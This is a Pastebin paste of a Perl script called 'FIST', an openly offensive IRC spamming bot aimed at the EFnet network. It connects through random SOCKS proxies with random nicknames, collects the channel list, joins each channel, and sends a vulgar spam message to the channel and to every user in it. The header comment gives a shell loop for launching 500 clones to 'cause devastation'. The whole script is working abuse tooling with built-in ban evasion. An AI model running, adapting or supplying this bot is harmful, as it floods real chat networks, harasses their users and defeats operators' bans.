Advertisement
Guest User

Untitled

a guest
Nov 14th, 2019
1,656
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 5.43 KB | None | 0 0
  1. #!/usr/bin/env perl
  2. # FIST - fucking irc spamming tool
  3. # by demo (aka fubar, aka unixfreak) 27/11/2009
  4. #
  5. # what does this do?
  6. #
  7. # joins a network, grabs the channel list
  8. # joins random channels, spams the channel
  9. # and also spams every nick in the channel
  10. # through privmsg with the same message
  11. #
  12. # usage;
  13. #  $ for i in {1..500}; do ./fist.pl &; done
  14. #
  15. # this will spawn 500 irc clones to spam the network
  16. # and cause devastation (if you have a decent proxy list)
  17.  
  18. use strict;
  19. use warnings;
  20. use POSIX;
  21. use threads;
  22. use threads::shared;
  23. use IO::Socket::INET;
  24. use IO::Socket::Socks;
  25. $|++;
  26. $0 = "fist";
  27.  
  28. # grab random proxy from file "proxylist"
  29. srand; my $proxy_line;
  30. open FILE, "<proxylist" or die "[-] Could not open filename: $!\n";
  31. rand($.)<1 and ($proxy_line=$_) while <FILE>;
  32. close FILE;
  33. $proxy_line =~ s/[\r\n]+//g;
  34. my ($socks_addr, $socks_port) = split(/:/, $proxy_line, 2);
  35.  
  36. # grab random nick from file "nicklist"
  37. sub random_nick() {
  38.     srand; my $nick_line;
  39.     open FILE, "<nicklist" or die "[-] Could not open filename: $!\n";
  40.     rand($.)<1 and ($nick_line=$_) while <FILE>;
  41.     close FILE;
  42.     $nick_line =~ s/[\r\n]+//g;
  43.     return $nick_line;
  44. }
  45.  
  46. my %irc = (
  47.     # proxy settings (you probably want to enable proxy support, leave use_proxy set to 1)
  48.     use_proxy   => 1,
  49.     socks_vers  => 5,
  50.     socks_addr  => $socks_addr,
  51.     socks_port  => $socks_port,
  52.    
  53.     # server
  54.     addr        => 'irc.efnet.net',
  55.     port        => 6667,
  56.     timeout     => 3,
  57.     buffer_size => 2048,
  58.    
  59.     # bot settings
  60.     nick        => &random_nick(),
  61.     user        => &random_nick(),
  62.     name        => 'realname',
  63.     version     => 'mIRC v420.69 Khaled Mardem Gay',
  64.  
  65.     # this is what gets spammed
  66.     spam        => '\\ | u are now been boatknotted to join #dildos by the TuRK 69 H4K4R //|', 
  67.  
  68. );
  69.  
  70.  
  71. print "
  72. ░░░░░░░░░░░░░░░░░░░ fucking irc spamming tool
  73. ░░░▓▓▓█░░░░░█▓▓▓░░░ Server .... $irc{addr}:$irc{port}
  74. ░▓█████▓░░░▓█████▓░
  75. ░▓█████░░▓░░█████▓░ STARTED
  76. ░▓░░░░░░███░░░░░░▓░
  77. ░▓██▓░░░░░░░░░▓██▓░
  78. ░░▓███░█░█░█░███▓░░
  79. ░░░▓██░█░█░█░██▓░░░ ^C to quit (or `killall fist`)
  80. ░░░░░█░░░░░░░█░░░░░
  81.  
  82. ";
  83.  
  84.  
  85. my $sock;
  86. my (@nicks, @channels) = ();
  87.  
  88.  
  89. if ($irc{use_proxy}) {
  90.     print "[+] Using socks$irc{socks_vers} $irc{socks_addr}:$irc{socks_port}\n";
  91.  
  92.     $sock = new IO::Socket::Socks(
  93.         ProxyAddr    => $irc{socks_addr},
  94.         ProxyPort    => $irc{socks_port},
  95.         ConnectAddr  => $irc{addr},
  96.         ConnectPort  => $irc{port},
  97.         SocksDebug   => 0,
  98.         Timeout      => $irc{timeout},
  99.         SocksVersion => $irc{socks_vers},
  100.     ) or die "[-] $SOCKS_ERROR";
  101.  
  102. } else {
  103.     $sock = new IO::Socket::INET (
  104.         PeerAddr => $irc{addr},
  105.         PeerPort => $irc{port},
  106.         Proto    => 'tcp',
  107.         Timeout  => $irc{timeout}
  108.     ) or die "[-] $!";
  109. }
  110.  
  111.  
  112. print "[+] Connected to $irc{addr}/$irc{port}\n";
  113.  
  114. while($sock->sysread(our $buf, $irc{buffer_size})) {
  115.     $sock->syswrite("NICK $irc{nick}\r\n");
  116.     $sock->syswrite("USER $irc{user} 0 0 :$irc{name}\r\n");
  117.     last;
  118. }
  119.  
  120.  
  121. my $gotlist = 0;
  122. push(@channels);
  123.  
  124. while($sock) {
  125.  
  126.     $sock->recv(our $buf, $irc{buffer_size}, MSG_DONTWAIT);
  127.    
  128.  
  129.     for my $line (split(/^/m, $buf)) {
  130.        
  131.         # ping/pong
  132.         if ($line =~ m/^PING (:[^ ]+)$/) {
  133.             #print "[+] Sent pong\n";
  134.             $sock->syswrite("PONG $1\r\n");
  135.         }
  136.         # ctcp version
  137.         if ($line =~ m/^:(.+)!(.+)@(.+) PRIVMSG ${irc{nick}} :\001VERSION\001/) {
  138.             $sock->syswrite("PRIVMSG $1 \001VERSION ${irc{version}}\001\r\n");
  139.         }
  140.         # end of motd
  141.         if ($line =~ m/^:(.+) (376|422) ${irc{nick}} :(.+)$/) {
  142.             $sock->syswrite("LIST\r\n");
  143.         }
  144.         # channels list
  145.         if ($line =~ m/^:(.+) 322 ${irc{nick}} (#[^ ]+) (.+) :(.+?)$/) {
  146.             push(@channels, $2);
  147.             print "\r[*] Waiting for /LIST (".@channels." channels)";
  148.            
  149.         }
  150.         # check possible ban info
  151.         if ($line =~ m/^:(.+) NOTICE ${irc{nick}} :\*\*\* (.+)$/) {
  152.             print "[!] $2\n";
  153.         }
  154.         # exit when banned
  155.         if ($line =~ m/^ERROR :Closing Link: ${irc{nick}}\[(.+)\] (.+)$/) {
  156.             close($sock);
  157.             exit;
  158.         }
  159.        
  160.         # end of channel list
  161.         if ($line =~ m/^:(.+) 323 ${irc{nick}} :(.+?)$/) {
  162.             $gotlist = 1;
  163.             print "\n";
  164.         }
  165.  
  166.    
  167.         if ((@channels > 0) && $gotlist == 1) {
  168.             my $index = rand(@channels);
  169.             my $chan = $channels[$index]; #set to 0
  170.             $sock->syswrite("JOIN ${chan}\r\n");
  171.        
  172.             if ($line =~ m/^:(.+) 353 ${irc{nick}} = (.+) :${irc{nick}} (.+)$/) {
  173.                 print "[+] JOIN $chan\n";
  174.                 our @n = split(' ', $3);
  175.                 foreach my $nick (@n) {
  176.                     if ($nick =~ m/^(\&|\~|\@|\%|\+)/) {
  177.                         $nick =~ s/^.{1}//s;
  178.                     }
  179.                     push (@nicks, $nick);
  180.                     $sock->syswrite("PRIVMSG $nick ${irc{spam}}\r\n");
  181.                     print "[+] Sent PRIVMSG to $nick\n";
  182.                 }
  183.  
  184.                 $sock->syswrite("PRIVMSG ${chan} ${irc{spam}}\r\n");
  185.                 $sock->syswrite("PART ${chan}\r\n");
  186.                 splice(@channels,$index,1);
  187.                
  188.             }
  189.            
  190.             # end of /names
  191.             if ($line =~ m/^:(.+) 366 ${irc{nick}} $chan :(.+)$/) {
  192.                 $sock->syswrite("PART $chan\r\n");
  193.                 if (@channels < 1) {
  194.                     print "[+] Done!\n";
  195.                     $sock->syswrite("QUIT\r\n");
  196.                     #exit;
  197.                 }
  198.             }
  199.                
  200.             # discard these
  201.             if ($line =~ m/^:(.+) (470|471|473|474|475|476|477|538) (.+)$/) {
  202.                 $sock->syswrite("PART ${chan}\r\n");
  203.                 splice(@channels,$index,1);
  204.             }
  205.            
  206.         }
  207.     }
  208. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement